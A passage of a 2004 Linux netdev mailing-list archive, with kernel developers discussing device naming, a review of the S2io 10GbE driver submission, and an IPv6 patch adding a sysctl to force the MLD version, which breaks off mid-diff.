=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00 ------=_NextPart_000_0003_01C3F48F.1C3A9D90-- From max@stallburg.dyndns.org Mon Feb 16 14:44:23 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 16 Feb 2004 14:44:28 -0800 (PST) Received: from stallburg.dyndns.org (M881P008.adsl.highway.telekom.at [62.47.142.8]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1GMiLKO024936 for ; Mon, 16 Feb 2004 14:44:22 -0800 Received: from max by stallburg.dyndns.org with local id 1AsrSp-00048r-00; Mon, 16 Feb 2004 23:43:43 +0100 Date: Mon, 16 Feb 2004 23:43:43 +0100 From: maximilian attems To: Greg KH Cc: Stephen Hemminger , Tommi Virtanen , Leann Ogasawara , netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: [PATCH] don't allow / in class device names Message-ID: <20040216224343.GF1890@mail.sternwelten.at> Mail-Followup-To: Greg KH , Stephen Hemminger , Tommi Virtanen , Leann Ogasawara , netdev@oss.sgi.com, linux-kernel@vger.kernel.org References: <20040213102755.27cf4fcd.shemminger@osdl.org> <20040213203448.GB14048@kroah.com> <20040213124555.00cbf3d7@dell_ss3.pdx.osdl.net> <20040213205936.GE14048@kroah.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040213205936.GE14048@kroah.com> User-Agent: Mutt/1.5.5.1+cvs20040105i X-archive-position: 3329 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: janitor@sternwelten.at Precedence: bulk X-list: netdev On Fri, 13 Feb 2004, Greg KH wrote: > But isn't a '/' character a valid character for a file or directory > name? :) don't know which posix doc ulrich drepper is quoting, but it doesn't seem so: http://marc.theaimsgroup.com/?l=linux-kernel&m=107669877325770&w=2 regards maks From jgarzik@pobox.com Mon Feb 16 15:48:01 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 16 Feb 2004 15:48:09 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1GNm0KO026610 for ; Mon, 16 Feb 2004 15:48:01 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:36477 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1Asqz1-0004wX-HX; Mon, 16 Feb 2004 22:12:55 +0000 Message-ID: <40314058.2000307@pobox.com> Date: Mon, 16 Feb 2004 17:12:40 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Leonid Grossman CC: netdev@oss.sgi.com, "'Andi Kleen'" , "'Stephen Hemminger'" , "'Francois Romieu'" , "'jamal'" , "'Grant Grundler'" , "'Anton Blanchard'" , "'Jes Sorensen'" , raghavendra.koushik@s2io.com, "'ravinandan arakali'" Subject: Re: Submission for S2io 10GbE driver References: <000201c3f4d2$2a5ddd90$7410100a@S2IOtech.com> In-Reply-To: <000201c3f4d2$2a5ddd90$7410100a@S2IOtech.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3330 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Leonid Grossman wrote: > 1. At the moment, lspci output looks like > "02:02.0 Ethernet controller: Unknown device 17d5:5831 (rev 02)"; do we > need to submit a patch for drivers/pci/pci.ids? http://pciids.sourceforge.net/ The file drivers/pci/pci.ids is only associated with /proc/pci strings, and I'm trying to deprecate it :) > 2. The card fully supports Ethernet and TCP header separation in > hardware (so called receive 3-buffer mode). > The mode may have some performance advantages but so far we did not > implement the mode in Linux since it seems that Linux stack can't handle > the fragmented buffers in the receive path. Is this a correct > assumption, does receive buffer has to be continuous? In theory, the skb can be fragmented. I'm not as much as an expert in the ipv4/tcp/socket levels of the net stack, but I don't recall any place that yet supports skb frags on receive? I think that's likely an area that would need some minor adjustments/additions in the upstream kernels, but not major surgery, since the skb already supports creating, noticing, and freeing frags. Jeff From leonid.grossman@s2io.com Mon Feb 16 15:54:55 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 16 Feb 2004 15:54:59 -0800 (PST) Received: from ns1.s2io.com (ns1.s2io.com [216.209.86.101]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1GNssKO026981 for ; Mon, 16 Feb 2004 15:54:54 -0800 Received: from guinness.s2io.com (gateway.s2io.com [216.209.86.98]) by ns1.s2io.com (8.12.10/8.12.10) with ESMTP id i1GNsmjF022305; Mon, 16 Feb 2004 18:54:48 -0500 (EST) Received: from lgt40 ([10.16.16.116]) by guinness.s2io.com (8.12.6/8.12.6) with ESMTP id i1GNshKK016793; Mon, 16 Feb 2004 18:54:43 -0500 (EST) From: "Leonid Grossman" To: "'Jeff Garzik'" Cc: , , "'ravinandan arakali'" Subject: RE: Submission for S2io 10GbE driver Date: Mon, 16 Feb 2004 15:53:15 -0800 Message-ID: <000201c3f4e8$0bc7cf60$7410100a@S2IOtech.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 In-Reply-To: <40314058.2000307@pobox.com> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 Importance: Normal X-Spam-Score: -101 X-Spam-Outlook-Score: () X-Spam-Features: IN_REP_TO,QUOTED_EMAIL_TEXT,USER_IN_WHITELIST X-Scanned-By: MIMEDefang 2.34 X-archive-position: 3331 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: leonid.grossman@s2io.com Precedence: bulk X-list: netdev > http://pciids.sourceforge.net/ >The file drivers/pci/pci.ids is only associated with /proc/pci strings, >and I'm trying to deprecate it :) Done, thanks for the pointer! >> 2. The card fully supports Ethernet and TCP header separation in >> hardware (so called receive 3-buffer mode). The mode may have some >> performance advantages but so far we did not implement the mode in >> Linux since it seems that Linux stack can't handle the fragmented >> buffers in the receive path. Is this a correct assumption, does >> receive buffer has to be continuous? >In theory, the skb can be fragmented. I'm not as much as an expert in >the ipv4/tcp/socket levels of the net stack, but I don't recall any >place that yet supports skb frags on receive? >I think that's likely an area that would need some minor >adjustments/additions in the upstream kernels, but not major surgery, >since the skb already supports creating, noticing, and freeing frags. > Jeff I think it will be a good idea to have full support for skb frags in general, and not just for our product. Please let me know if there is a consensus (and hopefully a timeframe :-) for this; We volunteer to implement the mode in our driver and test the solution. Leonid From hch@infradead.org Mon Feb 16 16:11:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 16 Feb 2004 16:11:26 -0800 (PST) Received: from phoenix.infradead.org (phoenix.infradead.org [213.86.99.234]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1H0BKKO027827 for ; Mon, 16 Feb 2004 16:11:21 -0800 Received: from hch by phoenix.infradead.org with local (Exim 4.30 #5 (Red Hat Linux)) id 1AsspU-00061c-3s; Tue, 17 Feb 2004 00:11:12 +0000 Date: Tue, 17 Feb 2004 00:11:12 +0000 From: Christoph Hellwig To: Leonid Grossman Cc: netdev@oss.sgi.com, "'Andi Kleen'" , "'Jeff Garzik'" , "'Stephen Hemminger'" , "'Francois Romieu'" , "'jamal'" , "'Grant Grundler'" , "'Anton Blanchard'" , "'Jes Sorensen'" , raghavendra.koushik@s2io.com, "'ravinandan arakali'" Subject: Re: Submission for S2io 10GbE driver Message-ID: <20040217001111.A23086@infradead.org> References: <20040205004952.GA27510@cup.hp.com> <000201c3f4d2$2a5ddd90$7410100a@S2IOtech.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <000201c3f4d2$2a5ddd90$7410100a@S2IOtech.com>; from leonid.grossman@s2io.com on Mon, Feb 16, 2004 at 01:16:35PM -0800 X-archive-position: 3332 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hch@infradead.org Precedence: bulk X-list: netdev A bunch of comments: - if you want to submit the driver for inclusion please submit a patch against a kernel tree, not a tarball. - please try to avoid version ifdefs by provoding the newer APIs on older kernels, e.g.: #ifndef IRQ_RETVAL #define irqreturn_t void #define IRQ_RETVAL(foo) #endif #if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,00) #define free_netdev kfree #endif - your AS_A_MODULE ifdef is bogs - everything under it is fine for a non-modular driver, too - your XENA_ARCH_64 is not good - just cast 64bit values to (unsigned long long) always and use the ll format specifier always. You missed a few 64bit arches, btw :) - can you get rid of all those BOOL/TRUE/FALSE/SUCCESS/etc.. ifdefs? - s2io_driver wants to be converted to C99 initializers (.foo instead of foo:) - In Linux comments usually are on the same indentation level as surrounding code - CONFIGURE_NAPI_SUPPORT should probably become CONFIG_XENA_NAPI or whatever - you want to use ethtool_ops instead of the ioctl variant - there's lots of non-static symbols in s2io.c - these shouldn't exist in a single source-file driver - you can't return -ENOMEM from the isr - just IRQ_HANDLED or IRQ_NONE - having the RCS log at the end of the source files looks ... odd From shemminger@osdl.org Mon Feb 16 16:17:02 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 16 Feb 2004 16:17:05 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1H0H1KO028195 for ; Mon, 16 Feb 2004 16:17:02 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1H0GVE21221; Mon, 16 Feb 2004 16:16:31 -0800 Date: Mon, 16 Feb 2004 16:16:31 -0800 From: Stephen Hemminger To: Christoph Hellwig Cc: Leonid Grossman , netdev@oss.sgi.com, "'Andi Kleen'" , "'Jeff Garzik'" , "'Francois Romieu'" , "'jamal'" , "'Grant Grundler'" , "'Anton Blanchard'" , "'Jes Sorensen'" , raghavendra.koushik@s2io.com, "'ravinandan arakali'" Subject: Re: Submission for S2io 10GbE driver Message-Id: <20040216161631.7abdd99b@dell_ss3.pdx.osdl.net> In-Reply-To: <20040217001111.A23086@infradead.org> References: <20040205004952.GA27510@cup.hp.com> <000201c3f4d2$2a5ddd90$7410100a@S2IOtech.com> <20040217001111.A23086@infradead.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3333 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev On Tue, 17 Feb 2004 00:11:12 +0000 Christoph Hellwig wrote: > A bunch of comments: > > - if you want to submit the driver for inclusion please submit a patch against a kernel tree, > not a tarball. > - please try to avoid version ifdefs by provoding the newer APIs on older kernels, e.g.: > > #ifndef IRQ_RETVAL > #define irqreturn_t void > #define IRQ_RETVAL(foo) > #endif > > #if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,00) > #define free_netdev kfree > #endif The proper way for that is: #ifndef HAVE_FREE_NETDEV #define free_netdev(x) kfree(x) #endif From dlstevens@us.ibm.com Mon Feb 16 21:19:57 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 16 Feb 2004 21:20:10 -0800 (PST) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1H5JuKO005644 for ; Mon, 16 Feb 2004 21:19:56 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1H5JkE8470504; Tue, 17 Feb 2004 00:19:46 -0500 Received: from d03nm121.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1H5Jgjx121954; Mon, 16 Feb 2004 22:19:46 -0700 In-Reply-To: Subject: sysctl variable to force MLD version [PATCH] To: Yuji Sekiya Cc: davem@redhat.com, Takashi Hibi , netdev@oss.sgi.com X-Mailer: Lotus Notes Release 6.0.2CF1 June 9, 2003 Message-ID: From: David Stevens Date: Mon, 16 Feb 2004 22:14:09 -0700 X-MIMETrack: Serialize by Router on D03NM121/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 02/16/2004 22:19:45 MIME-Version: 1.0 Content-type: multipart/mixed; Boundary="0__=07BBE4AEDF8FACFD8f9e8a93df938690918c07BBE4AEDF8FACFD" X-archive-position: 3334 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dlstevens@us.ibm.com Precedence: bulk X-list: netdev --0__=07BBE4AEDF8FACFD8f9e8a93df938690918c07BBE4AEDF8FACFD Content-type: multipart/alternative; Boundary="1__=07BBE4AEDF8FACFD8f9e8a93df938690918c07BBE4AEDF8FACFD" --1__=07BBE4AEDF8FACFD8f9e8a93df938690918c07BBE4AEDF8FACFD Content-type: text/plain; charset=US-ASCII Dave, Below is a patch for 2.6.2 that adds a sysctl variable to force the MLD version to version 1, for MLD-snooping switches that don't understand version 2 packet formats. I'll do a 2.4 version of the patch soon. +-DLS diff -ruN linux-2.6.2/include/linux/ipv6.h linux-2.6.2F3/include/linux/ipv6.h --- linux-2.6.2/include/linux/ipv6.h 2004-02-03 19:44:05.000000000 -0800 +++ linux-2.6.2F3/include/linux/ipv6.h 2004-02-16 17:35:44.000000000 -0800 @@ -136,6 +136,7 @@ __s32 rtr_solicits; __s32 rtr_solicit_interval; __s32 rtr_solicit_delay; + __s32 force_mld_version; #ifdef CONFIG_IPV6_PRIVACY __s32 use_tempaddr; __s32 temp_valid_lft; @@ -165,6 +166,7 @@ DEVCONF_REGEN_MAX_RETRY, DEVCONF_MAX_DESYNC_FACTOR, DEVCONF_MAX_ADDRESSES, + DEVCONF_FORCE_MLD_VERSION, DEVCONF_MAX }; diff -ruN linux-2.6.2/include/linux/sysctl.h linux-2.6.2F3/include/linux/sysctl.h --- linux-2.6.2/include/linux/sysctl.h 2004-02-03 19:43:56.000000000 -0800 +++ linux-2.6.2F3/include/linux/sysctl.h 2004-02-16 17:14:30.000000000 -0800 @@ -421,7 +421,8 @@ NET_IPV6_TEMP_PREFERED_LFT=13, NET_IPV6_REGEN_MAX_RETRY=14, NET_IPV6_MAX_DESYNC_FACTOR=15, - NET_IPV6_MAX_ADDRESSES=16 + NET_IPV6_MAX_ADDRESSES=16, + NET_IPV6_FORCE_MLD_VERSION=17 }; /* /proc/sys/net/ipv6/icmp */ diff -ruN linux-2.6.2/net/ipv6/addrconf.c linux-2.6.2F3/net/ipv6/addrconf.c --- linux-2.6.2/net/ipv6/addrconf.c 2004-02-03 19:44:43.000000000 -0800 +++ linux-2.6.2F3/net/ipv6/addrconf.c 2004-02-16 19:51:08.000000000 -0800 @@ -149,6 +149,7 @@ .accept_ra = 1, .accept_redirects = 1, .autoconf = 1, + .force_mld_version = 0, .dad_transmits = 1, .rtr_solicits = MAX_RTR_SOLICITATIONS, .rtr_solicit_interval = RTR_SOLICITATION_INTERVAL, @@ -2739,6 +2740,7 @@ array[DEVCONF_RTR_SOLICITS] = cnf->rtr_solicits; array[DEVCONF_RTR_SOLICIT_INTERVAL] = cnf->rtr_solicit_interval; array[DEVCONF_RTR_SOLICIT_DELAY] = cnf->rtr_solicit_delay; + array[DEVCONF_FORCE_MLD_VERSION] = cnf->force_mld_version; #ifdef CONFIG_IPV6_PRIVACY array[DEVCONF_USE_TEMPADDR] = cnf->use_tempaddr; array[DEVCONF_TEMP_VALID_LFT] = cnf->temp_valid_lft; @@ -3042,7 +3044,7 @@ static struct addrconf_sysctl_table { struct ctl_table_header *sysctl_header; - ctl_table addrconf_vars[17]; + ctl_table addrconf_vars[18]; ctl_table addrconf_dev[2]; ctl_table addrconf_conf_dir[2]; ctl_table addrconf_proto_dir[2]; @@ -3133,6 +3135,14 @@ .proc_handler = &proc_dointvec_jiffies, .strategy = &sysctl_jiffies, }, + { + .ctl_name = NET_IPV6_FORCE_MLD_VERSION, + .procname = "force_mld_version", + .data = &ipv6_devconf.force_mld_version, + .maxlen = sizeof(int), + .mode = 0644, + .proc_handler = &proc_dointvec, + }, #ifdef CONFIG_IPV6_PRIVACY { .ctl_name = NET_IPV6_USE_TEMPADDR, diff -ruN linux-2.6.2/net/ipv6/mcast.c linux-2.6.2F3/net/ipv6/mcast.c --- linux-2.6.2/net/ipv6/mcast.c 2004-02-03 19:44:28.000000000 -0800 +++ 